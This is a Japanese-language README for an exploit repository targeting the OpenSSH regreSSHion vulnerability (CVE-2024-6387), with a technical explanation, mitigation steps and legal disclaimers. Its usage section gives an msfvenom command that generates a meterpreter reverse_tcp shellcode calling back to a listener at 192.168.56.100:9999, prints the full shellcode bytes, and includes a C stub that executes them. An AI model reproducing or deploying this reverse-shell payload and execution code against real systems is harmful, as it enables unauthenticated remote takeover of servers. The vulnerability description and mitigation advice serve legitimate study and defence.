EXPLOIT CVE-2024-6387

💥 EXPLOIT CVE-2024-6387 (regreSSHion)

OpenSSHサーバーの脆弱性 CVE-2024-6387 の分析、検出、制御されたテストのためのツール。

⚠️ 法的および倫理的注意事項

このリポジトリは教育目的のみです。
以下の環境でのみ使用してください：

• ラボ (HTB, TryHackMe)
• 自身の環境
• 明示的な許可を得た監査

⚠️ 許可なくシステムをスキャンまたは悪用することは違法です。
このコンテンツは防御と学習を目的としています。

📑 目次

• 📖 概要
• 🔍 技術的詳細
• 📊 影響を受けるバージョン
• ⚙️ 使用方法
• 🛠️ 緩和策
• 📚 参考文献
• 👤 作者
• 📢 免責事項

📖 概要

CVE-2024-6387（regreSSHion として知られる）は、2006年に修正された脆弱性（CVE-2006-5051）の回帰です。

OpenSSH 8.5p1 (2020) で再導入され、以下を可能にします：

• リモートコード実行 (RCE)
• root としての潜在的なアクセス
• 認証不要 の攻撃
• ユーザーの操作不要

関連する脆弱性も存在します：

• CVE-2024-6409 → 権限分離環境における子プロセスに影響

🔍 技術的詳細

この脆弱性は、sshd のシグナルハンドラにおける競合状態に基づいています。

🧠 動作

1. サーバーは LoginGraceTime （デフォルト：120秒）を設定
2. クライアントが認証しない場合：
   • SIGALRM シグナルが発火
3. ハンドラはシグナル安全でない関数を実行：
   • syslog()
   • malloc()
   • free()

💣 影響

これにより以下が発生する可能性があります：

• メモリ破損（ヒープ）
• 任意のコード実行

⏱️ 悪用の難易度

• 約10,000回の試行が必要（競合状態）
• 32ビットシステムの場合：
  • 6～8時間かかる可能性
• 要因：
  • ASLR
  • ネットワーク遅延
  • システム負荷

📊 影響を受けるバージョン

🛡️ OpenBSDは脆弱ではありません。2001年から実装されている追加の保護機能によるものです。

##⚙️ 使用方法 python3 exploit.py

🔎 OpenSSHサーバーのスキャン

python3 scanner.py <IP> -p 22

# シェルコードの生成
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

カスタムペイロード

#include <stdio.h>

// カスタムペイロードのプレースホルダ
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // シェルコードの実行
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

実際のペイロード

#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

🛠️ 緩和策と修復 特にインターネットに公開されている資産では、以下の手順を緊急に実施することを推奨します：

即時更新：OpenSSH 9.8p1 に更新するか、各ディストリビューションの特定のパッチを適用してください。

sshd の設定：更新が不可能な場合は、/etc/ssh/sshd_config ファイルに LoginGraceTime 0 を設定してください。

警告：これにより RCE は防止されますが、接続枯渇によるサービス拒否 (DoS) に対してサーバーが露出します。

アクセス制御：ファイアウォール/VPN によるネットワークベースの制御とネットワークセグメンテーションを用いて SSH アクセスを制限し、横方向の移動を防ぎます。

参考文献

• https://www.zscaler.com/blogs/security-research/openssh-vulnerabilities-cve-2024-6387-cve-2024-6409-pose-significant
• https://www.exploit-db.com/exploits/52269
• https://www.offsec.com/blog/regresshion-exploit-cve-2024-6387/
• https://github.com/xaitax/CVE-2024-6387_Check

👤 作者

Kaleth Corcho
システム工学 · WolvesTI · コロンビア、ボゴタ

📢 免責事項

• 重要な注意：
  • このツールは、許可を受けた侵入テストおよびレッドチーム演習のみを目的として開発および使用されています。glibcベースのLinuxシステム上のOpenSSHサーバーの脆弱性を特定し悪用するために設計されています。このツールの不正使用は固く禁止されています。このツールの所有者は、不正アクセスや悪意のある使用について一切の責任を負いません。
• 法的通知：
  • それぞれの所有者から明示的な許可なく、システムやネットワーク上でこのツールを不正に使用すると、該当する法律や規制に違反する可能性があります。ユーザーは、サイバーセキュリティテストおよび評価を管理する法的および倫理的基準への準拠を確保する責任を負います。